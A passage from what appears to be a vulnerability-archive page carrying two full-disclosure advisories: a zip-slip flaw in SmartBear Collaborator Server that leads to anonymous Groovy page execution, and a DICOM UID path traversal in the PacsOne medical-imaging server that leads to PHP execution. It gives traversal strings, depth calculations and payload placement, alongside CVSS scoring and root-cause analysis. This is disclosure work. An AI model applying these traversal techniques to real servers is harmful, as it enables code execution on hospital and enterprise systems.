          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in SmartBear\nCollaborator Server 15.1.15101, the closed-source peer and technical code-review\nplatform from SmartBear that runs as a Java web application on Apache Tomcat. One\nlow-privilege authenticated account plants a Groovy Server Page in the Tomcat\nwebroot through an archive-extraction path traversal, and any anonymous client -\na crawler, a scanner, anyone - then executes it with an ordinary GET, yielding\noperating-system command execution as uid=1001(collab) inside the product\u0027s own\nJVM. Root was not reached, is not claimed, and no privilege escalation was\nattempted.\n\nRead the deployment-shape caveat first, because it decides whether this chain\nworks at all and it is the reason the published headline carries Attack\nComplexity High. The only shipped artifact this research exercised was the\nvendor\u0027s official container image, and in that image used exactly as shipped THE\nCHAIN DOES NOT WORK. The image declares the webserver content directory as a\nVOLUME and the installer never creates that path, so the container runtime\ncreates the mount point itself as drwxr-xr-x owned by root while the service runs\nas uid 1001; the first filesystem call of the whole feature,\nFiles.createDirectories(destVersionDir.toPath()) at\nHtmlBaseFilesUploadService.java:77, fails with EACCES before any archive entry is\nread and no byte is ever written. That block cannot be worked around from inside\nthe product, because setWebserver has exactly one call site, at startup, from the\ncontent-webserver context parameter declared at ROOT.xml:92 with\noverride=\"false\". The shape in which the chain does succeed is the native,\nnon-container install, and that shape was never run on a real host: the claim\nthat a native install leaves that directory owned by the service account is a\nlabelled structural inference from the shipped archive, not a measurement. This\nadvisory therefore does not claim that every deployment of this product is\nexploitable.\n\nType and root cause. CWE-22, path traversal through archive entry names, with\nCWE-94 (code generation via the *.gsp template mapping), CWE-732, CWE-693,\nCWE-668 and CWE-916 contributing. The JSON-API command\nReviewService.addDoorsFiles accepts a zip archive from any authenticated user\nand dispatches through ReviewServiceImpl.addZipFiles:969-1001 to the first-party\nextractor com.smartbear.ccollab.doors.DoorsFilesUploadService.upload. Across that\nextraction loop the only validation of an entry is that the entry object is not\nnull (:73-75) and the only filter is the keyword list\nIGNORE_FILES_KEYWORDS = {\"__MACOSX\"} declared at :63 and applied at :79. The\nentry name is passed through a cosmetic square-bracket substitution at :77 -\nStrings.replaceSquareBracketsToRound, which exists to satisfy the downstream\nDOORS document parser and has nothing to do with paths - and is then concatenated\ninto a destination at :78 with\n\n    File entryDestination = new File(uploadContext.getDestVersionDir(), fileName);\n\nThe two-argument File(File, String) constructor concatenates lexically: it does\nnot canonicalise, does not resolve against the base and does not reject\nparent-directory segments. There is no normalize() call, no startsWith(destDir)\ncontainment test, no canonical-path comparison, no rejection of an absolute name,\nno rejection of a backslash-separated name, no extension allowlist or blocklist\non this route, no cap on entry count or cumulative uncompressed size, and no\nper-object authorisation on the caller-supplied reviewId. Line :83 then creates\nwhatever parent directories the attacker\u0027s name implies and line :84 opens the\noutput stream, new FileOutputStream(entryDestination), which is the sink. An\nentry named ../../../../../webapps/ROOT/\u003cname\u003e.gsp escapes the per-review version\ndirectory and lands in the Tomcat webroot.\n\nA sibling implementation shares the identical defect and the identical parent\nclass: com.smartbear.ccollab.matlab.SimulinkFilesUploadService.copyFilesFromZip\nat :186-203 resolves destDir.resolve(zipEntry.getName()).toFile() at :188 with\nno normalize(), no startsWith(destDir) and no .. rejection, and is reachable from\nReviewService.addSimulinkFiles. Its checkArchive at :157-161 constrains only the\nfirst entry, which must be named exactly webview.html, and then ignores the rest\n- a format assertion, not a containment control. One root cause with two code\ninstances is reported here as a single finding; the Simulink instance was never\nexercised end to end and carries two further gates, so its practical\nexploitability is strictly weaker and is claimed on source reading only. A\nrestricted-file-pattern check that genuinely exists lives only in the sibling\nservlet VersionContentUploadServlet:90-93, on the JSON-API-free route, and it\nvalidates the version\u0027s already-existing paths rather than names inside the\narchive.\n\nThe destination geometry is what makes a relative traversal practical instead of\ntheoretical. The shared parent fixes the base: HtmlBaseFilesUploadService builds\nwebServerFolder as \u003cmode\u003e/\u003creviewId\u003e/\u003czip name without extension\u003e at :70-71,\njoins it to SystemGlobals.getWebserver() at :74, and\nSystemGlobals.java:130 declares that value as the relative string\n\"collaborator-webserver\", so it resolves against the JVM working directory,\nmeasured as /usr/local/ccollab_server/tomcat. The complete destination is\ntherefore\n\n    /usr/local/ccollab_server/tomcat/collaborator-webserver/\u003cmode\u003e/\u003creviewId\u003e/\n        \u003czipbase\u003e/ver\u003cN\u003e\n\nEvery segment is fixed by product logic or returned to the attacker, so the\nrequired climb is a deterministic function the attacker can compute: depth = 4 +\nn, where n is the number of path segments in the declared zip name after\nstripping .zip, and the constant 4 counts ver\u003cN\u003e, the mode segment, the review\nidentifier and the webserver directory-name segment. Two independent\nmeasurements agree with it at two different values of n - five segments for a\nflat zip name, six for a zip name of the form \u003cdir\u003e/\u003cname\u003e.zip, both markers\nexecuting anonymously. Depth must be exact in both directions, and overshooting\nis not a safety margin: POSIX clamps \"..\" at the filesystem root, so too many\nsegments turn the target into the absolute path /webapps/ROOT/\u003cname\u003e.gsp and the\nmandatory pre-write Files.createDirectories at :83 then fails with EACCES with\nnothing written, while undershooting lands silently inside the content tree, is\nserved behind the authenticated /webserver/* prefix where an anonymous client\nreceives 401, and leaves an attacker file on disk.\n\nThe execution half is first-party configuration. The ROOT webapp\u0027s own\nweb.xml:271-278 maps *.gsp to the upstream groovy.servlet.TemplateServlet on the\nanonymous surface, so a plain unauthenticated GET of the planted path compiles\nthe page in memory and evaluates it. That is what converts a\npost-authentication arbitrary file write into code execution triggered by\nanyone, and it is why the write side and the trigger side sit on opposite sides\nof the authentication boundary: the party who plants the file and the party who\nruns it need not be the same.\n\nConfirmation, and what was deliberately not reproduced. The chain is\nself-verifying rather than interpretive: the planted template runs a single\nread-only identity command and echoes its output into the anonymous response\nbody, together with a Generated by Groovy TemplateServlet timing comment that\nproves evaluation rather than static serving. The observed identity string was\nverbatim uid=1001(collab) gid=1001(collab) groups=1001(collab), with an empty\neffective capability set. The strongest result came from an independently\nrebuilt container with a different random marker tag, a different\nnon-administrator account and a freshly created review; the reference\nimplementation was then run end to end twice more against a writable-mount\ninstance, so the finding rests on four mutually independent execution records,\nthree of which used values that could not have been carried over from an earlier\nrun. What was deliberately not reproduced: no reverse shell, no persistence, no\nscanning, no brute force, no mass traversal, no deletion of anything on the\ntarget and no write outside the single marker file. The marker template is left\nin place rather than removed by the tool, because removing it requires container\nor host access the tool has no business holding, and an explicit manual cleanup\ninstruction is printed instead. Per-run marker tokens, session ticket values and\ncontainer identities are withheld from the published advisory as artefacts of one\nexecution on one host: tickets are 30-day credentials and were logged out at\nteardown.\n\nScoring. The published headline is 7.5 High,\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, recomputed from first principles\nwith the CVSS 3.1 round-up-to-tenth rule: ISS = 1 - (0.44 * 0.44 * 0.44) =\n0.914816; Impact at Scope Unchanged = 6.42 * 0.914816 = 5.87311872;\nExploitability = 8.22 * 0.85 * 0.44 * 0.62 * 0.85 = 1.62014556; base =\nmin(7.49326428, 10) = 7.49326428, rounded up to 7.5. Attack Complexity is High\non the headline not because the traversal is subtle - it is not, the depth is\ndeterministic, there is no race and there is no state to gather - but because\nsuccess depends on a condition the attacker neither controls nor can verify from\nthe product: that the upload tree is writable by the service uid. On the one\nshipped artifact actually exercised, the official container image used exactly as\nshipped, that condition is false, and on the shape where it is believed to hold\nit was never observed. Rating exploitability Low on the strength of an installer\nthat was never run would let the headline rest on the one deployment shape that\nwas never tested while the shape that was tested forbids the chain. This is the\nhonest rating, not a pessimistic one: the chain is complete and deterministic\nwherever the precondition holds and the severity band does not move.\n\nOne conditional reading is published beside it, labelled as conditional: 8.8\nHigh, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Exploitability = 8.22 *\n0.85 * 0.77 * 0.62 * 0.85 = 2.83525473, Impact 5.87311872, base =\nmin(8.70837345, 10) = 8.70837345, rounded up to 8.8. It applies to\ninstallations in which the upload tree is writable by the service uid: the\nnative install shape, and any container deployment where that volume was created\nwith service-account ownership or chowned during deployment automation. The\nargument for Low there is real and runs like this: :77 creates the destination\ntree itself, on the line before the first archive entry is read, so the\nprecondition is implied by the usability of the attacked feature - any\ninstallation in which DOORS review-file upload can return success is an\ninstallation in which that tree is already writable by uid 1001, and an attacker\nwho can call addDoorsFiles and get anything other than a permission-derived\nInternalError is already in the exploitable shape. It is not the headline\nbecause those shapes were argued from the archive rather than run. Both readings\nare High, and neither says this is remotely exploitable without an account. The\nblocked shape is not handled as an Environmental metric adjustment, because\nEnvironmental describes the scorer\u0027s own deployment and would leave the base\nscore looking unconditional.\n\nA rejected reading is recorded here with a correction to our own arithmetic, so\nthat nobody inherits it. A Scope-Changed candidate - PR:L, S:C and all three\nimpact metrics High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - was carried\nduring analysis and is rejected on the merits: the write and the evaluation\nhappen in the same JVM, the same ROOT web application and the same uid 1001, over\ndirectories that account already owns, so no resource under a different security\nauthority is affected; that an anonymous client can pull the trigger is a fact\nabout who pulls it, which Attack Vector and User Interaction already price. The\nstrongest case for Chan"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-668",
              "description": "CWE-668",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-693",
              "description": "CWE-693",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-732",
              "description": "CWE-732",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-916",
              "description": "CWE-916",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-94",
              "description": "CWE-94",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:03Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/19"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/smartbear-collaborator-doors-upload-zip-slip-webroot-gsp-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0490",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/19",
            "automated": true,
            "contentSha256": "fa2934455827d2e9656fe0eb8d368db9afc71b32d23fc4c64080535e17c0e875",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-13T02:22:32Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:03Z",
    "dateUpdated": "2026-11-02T07:30:03Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0490"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0489

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in PacsOne Server 7.3.9, Premium Edition, Linux x86-64 distribution, the closed-source commercial PACS (medical imaging archive and DICOM server) from RainbowFish Software, California, United States. The product combines a native C++ DICOM and HL7 service with a PHP web interface of 204 endpoints running on MySQL and Apache, fronted by a single Apache alias that maps /pacsone to the product's php/ directory. Type: path traversal on a file-write sink (CWE-22 primary; CWE-73 External Control of File Name or Path and CWE-20 Improper Input Validation contributing). The DICOMweb STOW-RS handler stowrs.php reads the SOP Instance UID attribute (0008,0018) out of the posted DICOM object and uses it as the storage filename. In import() in dicomweb.php, approximately lines 1391-1440, the construction is: $uid = $rawTags->getAttr(0x00080018); $dir = dirname($tempfile); $newfile = $dir . "/" . $uid; rename($tempfile, $newfile); $dir is the per-day study directory under the configured archive root, from getStowRsStoreDir() in database.php:1780; $tempfile is staged in that same directory by DicomWebStow::__construct (dicomweb.php:1165), which reads the raw body from php://input, splits it on the declared boundary and writes each application/dicom part through tempnam() and file_put_contents(); and $uid is the raw attribute value as it appeared on the wire: RawTags::getAttr() (dicom.php:4516) returns it unfiltered, and the Explicit VR parser parseDataExplicit() (dicom.php:4378) applies trim() only, which is VR padding normalisation and not a security control. The presence checks in store() (dicomweb.php:1592) verify only that the SOP Class, SOP Instance, Study and Series Instance UIDs are non-empty, which any non-empty string satisfies. There is no character whitelist, no canonicalisation, no length bound and no containment check on this path, so a SOP Instance UID of ../../../php/x.php moves the received object out of the study directory and into the directory Apache serves through the /pacsone alias. The 128-byte DICOM Part 10 preamble is never interpreted by the DICOM parser, so it can carry a PHP marker script, and once the file is in the served tree mod_php executes it under the web server identity. The identity reached is uid=33(www-data) gid=33(www-data) groups=33(www-data) - the Apache worker serving the request, confirmed by id, whoami, a read of /etc/passwd, a marker write-and-read under /tmp, hostname and uname. There is no child process and no identity change in this chain. Root was not reached and is not claimed; no privilege escalation, no container or host escape, and no contact with any other machine was attempted. The ordering inside import() decides both whether the write is usable and whether a reproduction appears to work. rename() executes BEFORE the database inserts, so no database-layer control - schema constraint, length limit, uniqueness check - sits upstream of the damage, and the operation is not transactional: the file lands even when the corresponding study record never does. Each of the image, series, study and patient inserts is followed on failure by unlink($newfile), so a minimal DICOM object writes the payload and then deletes it, returning HTTP 409 with failure reason 272 (ProcessingFailure). Making all four inserts succeed requires Patient Name (0010,0010), Patient ID (0010,0020) and the pixel attributes (0028,xxxx). Anyone attempting a reproduction without those attributes will watch the file disappear and may conclude this is a false positive. It is not. The root cause is an asymmetry rather than a general absence of input validation. The product contains a UID validator, isUidValid(), and does call it on the unauthenticated wadoAnonymized.php read path, where its character whitelist blocks "/" and therefore blocks traversal. The store path that turns a UID into a filename never calls it. Two details narrow where a fix has to go: the server uses the dataset value and not the file meta header value, so a validator bolted onto the meta header parse alone would miss this (the verified object carried an ordinary dotted UID in (0002,0003) and the traversal in (0008,0018)); and the parser is structurally lenient - it accepted a (0028,xxxx) group emitted in non-ascending order - so leniency cannot be relied on to reject malformed identifiers either. How confirmation works. The STOW-RS JSON response echoes the identifier back, so the outcome is machine-readable without any filesystem access: the nested sequence carries (0008,1155) with the traversal string verbatim plus a per-instance Retrieve URL in which it appears percent-encoded, a success arrives as HTTP 200 and a failure as HTTP 409 with failure reason 272. That makes the one deployment-variable quantity - how many ../ components separate the study directory from a served directory - cheap to enumerate with clear feedback and one request per guess, which is why Attack Complexity is rated Low. Three components on the layout we configured; Setup.exe lets the operator choose the archive directory, so another installation needs a different count. The target directory has to satisfy only two conditions: the web server user can write into it, and something served by the web server executes files there. Relocating the archive outside the web tree is therefore hardening rather than a fix. We did not reconcile this build's use of (0008,1199) for the successful-store sequence against the DICOM PS3.18 STOW-RS response definition, and nothing in the finding depends on that tag numbering. Execution is then confirmed by an unauthenticated GET for the written file: the gate protects the store operation, not the file the store operation created. The response body begins with the command's stdout and is followed by the binary remainder of the DICOM object rendered as literal output, which is itself evidence that the whole object, preamble included, was written intact. The file on disk was 580 bytes - the size of the object sent - owned by the web server identity at mode 0600. That mode is what tempnam() creates and rename() preserved; it does not obstruct execution, because the writer, the owner and the interpreter are the same uid. What was deliberately not reproduced: the rename()/unlink() pairing on the failure branch, which is argued from POSIX rename() atomic-replace semantics and from the shipped code rather than exercised. Because unlink($newfile) operates on the same attacker-chosen path, a deliberately failing store can replace and then remove an existing file that the web server user can write. The primitive is then not only "write an attacker-chosen file" but also "replace and then delete a file whose name the attacker chooses, inside any directory the web server user can write". No procedure for it is published and the PoC refuses to target any path that already resolves. No denial-of-service test was performed either. Scoring. The published score is 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. PR:H is load-bearing: only an administrator-role account was demonstrated to reach the DICOMweb STOW-RS route. hasaccess() in database.php:315 evaluates isAdministrator() first, which returns true unconditionally for the administrator group, and for everyone else selects the stowrs column of the privilege table; the privilege table on the tested installation held exactly one row, that administrator, with stowrs=1. No lower-privileged role was demonstrated or documented to hold stowrs. The vector's arithmetic: ISS 0.914816, Impact(S:U) 5.873119, Exploitability 1.234708, unrounded base 7.107826, taken to 7.2 by the CVSS ceiling-to-tenth Roundup - which is why a calculator reporting 7.1 is disagreeing with the rounding rule, not with the score. For the record, no numeric CVSS value accompanied the verification evidence gathered for this finding (that evidence recorded its type, authentication requirement and achieved identity), so 7.2 is derived here from the vector rather than copied from a recorded figure, and there is no recorded-versus-computed discrepancy to correct. One conditional reading is published alongside it and is never the headline. In a deployment that grants the stowrs permission to a non-administrator account - the realistic shapes being an acquisition device such as a modality or scanner workstation, a partner PACS federated to the archive, or an imaging application service account, all of which is what a DICOMweb store interface exists to serve - the least privileged principal reaching the sink is a low-privileged user and the honest rating for that deployment is 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, Exploitability 2.835255 and unrounded base 8.708373. We did not demonstrate that any non-administrator account can be granted stowrs through the product and found no code path that grants it to one, so this reading is conditional on a deployment state we did not prove. An operator can establish which reading applies to them with one query against the privilege table. Two readings were considered and rejected, published with their arithmetic for transparency. S:C would compute to 9.1 (Impact(S:C) 6.128026, Exploitability 2.286496, unrounded 9.087684) and is rejected: the PHP interpreter that executes the payload is part of the same product serving the vulnerable endpoint, on the same host, under the same service identity, and our traversal target was inside the product's own served directory, so no second component with an independent authorization boundary was crossed and no cross-account or cross-machine outcome was demonstrated. A third argument for S:C is tempting and still wrong in CVSS terms - that the victim of the confidentiality impact is the patient whose imaging is stored, who is certainly not the principal that authenticated - because scope concerns which component's authorization boundary is crossed, not who suffers the consequence. The clinical weight of that data is carried by the impact metrics, all three High. AC:H would compute to 6.6 (unrounded 6.578666) and is rejected because the traversal depth is discoverable with observable feedback at a cost of one request per guess. We publish no PR:N vector: no unauthenticated path to this sink exists. The bypass-file branch in the STOW-RS code path, which accepts fixed wado credentials when a referenced file is present, is dead code on a default installation because that file does not exist; we did not create it, we attach no rating to a state the product does not ship, and we recommend the branch be deleted. Authentication: post-authentication, and the gate was tested by behaviour rather than trusted from configuration. The performed negative control is a persistence differential: two requests to the same endpoint with the same account and the same object layout, differing only in whether Patient Name and Patient ID were present. The incomplete object produced HTTP 409 and left nothing in the served directory, having been removed by the failure branch's unlink(); the complete object produced HTTP 200 and left a 580-byte file at exactly the location the UID named. That establishes both that the file's presence is a consequence of the store path completing and that its location is the UID, since nothing else in the request specified a directory; it also excludes mishandling of the temporary file, which tempnam() creates inside the study directory and which would never appear in the served PHP tree on its own. A third control comes from a sibling endpoint and was observed: UID-shaped attacker input on the unauthenticated wadoAnonymized.php path passes through isUidValid(), whose whitelist contains no "/", so the same input class validated does not traverse and unvalidated does. A fourth control is shipped but was not executed, and we say so plainly. The published PoC carries a conforming-UID control mode that send
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
unknown PacsOne Server Affected: unknown
Create a notification for this product.
Relationships
analysis GCVE-1988-2026-0489 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PacsOne Server",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in PacsOne\nServer 7.3.9, Premium Edition, Linux x86-64 distribution, the closed-source\ncommercial PACS (medical imaging archive and DICOM server) from RainbowFish\nSoftware, California, United States. The product combines a native C++ DICOM\nand HL7 service with a PHP web interface of 204 endpoints running on MySQL\nand Apache, fronted by a single Apache alias that maps /pacsone to the\nproduct\u0027s php/ directory.\n\nType: path traversal on a file-write sink (CWE-22 primary; CWE-73 External\nControl of File Name or Path and CWE-20 Improper Input Validation\ncontributing). The DICOMweb STOW-RS handler stowrs.php reads the SOP Instance\nUID attribute (0008,0018) out of the posted DICOM object and uses it as the\nstorage filename. In import() in dicomweb.php, approximately lines\n1391-1440, the construction is:\n\n    $uid     = $rawTags-\u003egetAttr(0x00080018);\n    $dir     = dirname($tempfile);\n    $newfile = $dir . \"/\" . $uid;\n    rename($tempfile, $newfile);\n\n$dir is the per-day study directory under the configured archive root, from\ngetStowRsStoreDir() in database.php:1780; $tempfile is staged in that same\ndirectory by DicomWebStow::__construct (dicomweb.php:1165), which reads the raw\nbody from php://input, splits it on the declared boundary and writes each\napplication/dicom part through tempnam() and file_put_contents(); and $uid is\nthe raw attribute value as it appeared on the wire: RawTags::getAttr()\n(dicom.php:4516) returns it unfiltered, and the Explicit VR parser\nparseDataExplicit() (dicom.php:4378) applies trim() only, which is VR padding\nnormalisation and not a security control. The presence checks in store()\n(dicomweb.php:1592) verify only that\nthe SOP Class, SOP Instance, Study and Series Instance UIDs are non-empty,\nwhich any non-empty string satisfies. There is no character whitelist, no\ncanonicalisation, no length bound and no containment check on this path, so a\nSOP Instance UID of ../../../php/x.php moves the received object out of the\nstudy directory and into the directory Apache serves through the /pacsone\nalias. The 128-byte DICOM Part 10 preamble is never interpreted by the DICOM\nparser, so it can carry a PHP marker script, and once the file is in the\nserved tree mod_php executes it under the web server identity.\n\nThe identity reached is uid=33(www-data) gid=33(www-data)\ngroups=33(www-data) - the Apache worker serving the request, confirmed by id,\nwhoami, a read of /etc/passwd, a marker write-and-read under /tmp, hostname\nand uname. There is no child process and no identity change in this chain.\nRoot was not reached and is not claimed; no privilege escalation, no\ncontainer or host escape, and no contact with any other machine was\nattempted.\n\nThe ordering inside import() decides both whether the write is usable and\nwhether a reproduction appears to work. rename() executes BEFORE the database\ninserts, so no database-layer control - schema constraint, length limit,\nuniqueness check - sits upstream of the damage, and the operation is not\ntransactional: the file lands even when the corresponding study record never\ndoes. Each of the image, series, study and patient inserts is followed on\nfailure by unlink($newfile), so a minimal DICOM object writes the payload and\nthen deletes it, returning HTTP 409 with failure reason 272 (ProcessingFailure).\nMaking all four inserts succeed requires Patient Name (0010,0010), Patient ID\n(0010,0020) and the pixel attributes (0028,xxxx). Anyone attempting a\nreproduction without those attributes will watch the file disappear and may\nconclude this is a false positive. It is not.\n\nThe root cause is an asymmetry rather than a general absence of input\nvalidation. The product contains a UID validator, isUidValid(), and does call\nit on the unauthenticated wadoAnonymized.php read path, where its character\nwhitelist blocks \"/\" and therefore blocks traversal. The store path that turns\na UID into a filename never calls it. Two details narrow where a fix has to\ngo: the server uses the dataset value and not the file meta header value, so\na validator bolted onto the meta header parse alone would miss this (the\nverified object carried an ordinary dotted UID in (0002,0003) and the\ntraversal in (0008,0018)); and the parser is structurally lenient - it\naccepted a (0028,xxxx) group emitted in non-ascending order - so leniency\ncannot be relied on to reject malformed identifiers either.\n\nHow confirmation works. The STOW-RS JSON response echoes the identifier back,\nso the outcome is machine-readable without any filesystem access: the nested\nsequence carries (0008,1155) with the traversal string verbatim plus a\nper-instance Retrieve URL in which it appears percent-encoded, a success\narrives as HTTP 200 and a failure as HTTP 409 with failure reason 272. That\nmakes the one deployment-variable quantity - how many ../ components separate\nthe study directory from a served directory - cheap to enumerate with clear\nfeedback and one request per guess, which is why Attack Complexity is rated\nLow. Three components on the layout we configured; Setup.exe lets the\noperator choose the archive directory, so another installation needs a\ndifferent count. The target directory has to satisfy only two conditions: the\nweb server user can write into it, and something served by the web server\nexecutes files there. Relocating the archive outside the web tree is therefore\nhardening rather than a fix. We did not reconcile this build\u0027s use of\n(0008,1199) for the successful-store sequence against the DICOM PS3.18\nSTOW-RS response definition, and nothing in the finding depends on that tag\nnumbering. Execution is then confirmed by an unauthenticated GET for the\nwritten file: the gate protects the store operation, not the file the store\noperation created. The response body begins with the command\u0027s stdout and is\nfollowed by the binary remainder of the DICOM object rendered as literal\noutput, which is itself evidence that the whole object, preamble included, was\nwritten intact. The file on disk was 580 bytes - the size of the object sent -\nowned by the web server identity at mode 0600. That mode is what tempnam()\ncreates and rename() preserved; it does not obstruct execution, because the\nwriter, the owner and the interpreter are the same uid.\n\nWhat was deliberately not reproduced: the rename()/unlink() pairing on the\nfailure branch, which is argued from POSIX rename() atomic-replace semantics\nand from the shipped code rather than exercised. Because unlink($newfile)\noperates on the same attacker-chosen path, a deliberately failing store can\nreplace and then remove an existing file that the web server user can write.\nThe primitive is then not only \"write an attacker-chosen file\" but also\n\"replace and then delete a file whose name the attacker chooses, inside any\ndirectory the web server user can write\". No procedure for it is published and\nthe PoC refuses to target any path that already resolves. No denial-of-service\ntest was performed either.\n\nScoring. The published score is 7.2 High, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.\nPR:H is load-bearing: only an administrator-role account was demonstrated to\nreach the DICOMweb STOW-RS route. hasaccess() in database.php:315 evaluates\nisAdministrator() first, which returns true unconditionally for the\nadministrator group, and for everyone else selects the stowrs column of the\nprivilege table; the privilege table on the tested installation held exactly\none row, that administrator, with stowrs=1. No lower-privileged role was\ndemonstrated or documented to hold stowrs. The vector\u0027s arithmetic: ISS\n0.914816, Impact(S:U) 5.873119, Exploitability 1.234708, unrounded base\n7.107826, taken to 7.2 by the CVSS ceiling-to-tenth Roundup - which is why a\ncalculator reporting 7.1 is disagreeing with the rounding rule, not with the\nscore. For the record, no numeric CVSS value accompanied the verification\nevidence gathered for this finding (that evidence recorded its type,\nauthentication requirement and achieved identity), so 7.2 is derived here from\nthe vector rather than copied from a recorded figure, and there is no\nrecorded-versus-computed discrepancy to correct.\n\nOne conditional reading is published alongside it and is never the headline.\nIn a deployment that grants the stowrs permission to a non-administrator\naccount - the realistic shapes being an acquisition device such as a modality\nor scanner workstation, a partner PACS federated to the archive, or an imaging\napplication service account, all of which is what a DICOMweb store interface\nexists to serve - the least privileged principal reaching the sink is a\nlow-privileged user and the honest rating for that deployment is 8.8 High,\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, Exploitability 2.835255 and\nunrounded base 8.708373. We did not demonstrate that any non-administrator\naccount can be granted stowrs through the product and found no code path that\ngrants it to one, so this reading is conditional on a deployment state we did\nnot prove. An operator can establish which reading applies to them with one\nquery against the privilege table.\n\nTwo readings were considered and rejected, published with their arithmetic for\ntransparency. S:C would compute to 9.1 (Impact(S:C) 6.128026, Exploitability\n2.286496, unrounded 9.087684) and is rejected: the PHP interpreter that\nexecutes the payload is part of the same product serving the vulnerable\nendpoint, on the same host, under the same service identity, and our traversal\ntarget was inside the product\u0027s own served directory, so no second component\nwith an independent authorization boundary was crossed and no cross-account or\ncross-machine outcome was demonstrated. A third argument for S:C is tempting\nand still wrong in CVSS terms - that the victim of the confidentiality impact\nis the patient whose imaging is stored, who is certainly not the principal\nthat authenticated - because scope concerns which component\u0027s authorization\nboundary is crossed, not who suffers the consequence. The clinical weight of\nthat data is carried by the impact metrics, all three High. AC:H would compute\nto 6.6 (unrounded 6.578666) and is rejected because the traversal depth is\ndiscoverable with observable feedback at a cost of one request per guess. We\npublish no PR:N vector: no unauthenticated path to this sink exists. The\nbypass-file branch in the STOW-RS code path, which accepts fixed wado\ncredentials when a referenced file is present, is dead code on a default\ninstallation because that file does not exist; we did not create it, we attach\nno rating to a state the product does not ship, and we recommend the branch be\ndeleted.\n\nAuthentication: post-authentication, and the gate was tested by behaviour\nrather than trusted from configuration. The performed negative control is a\npersistence differential: two requests to the same endpoint with the same\naccount and the same object layout, differing only in whether Patient Name and\nPatient ID were present. The incomplete object produced HTTP 409 and left\nnothing in the served directory, having been removed by the failure branch\u0027s\nunlink(); the complete object produced HTTP 200 and left a 580-byte file at\nexactly the location the UID named. That establishes both that the file\u0027s\npresence is a consequence of the store path completing and that its location\nis the UID, since nothing else in the request specified a directory; it also\nexcludes mishandling of the temporary file, which tempnam() creates inside the\nstudy directory and which would never appear in the served PHP tree on its\nown. A third control comes from a sibling endpoint and was observed: UID-shaped\nattacker input on the unauthenticated wadoAnonymized.php path passes through\nisUidValid(), whose whitelist contains no \"/\", so the same input class validated\ndoes not traverse and unvalidated does.\n\nA fourth control is shipped but was not executed, and we say so plainly. The\npublished PoC carries a conforming-UID control mode that send"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-73",
              "description": "CWE-73",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:02Z",
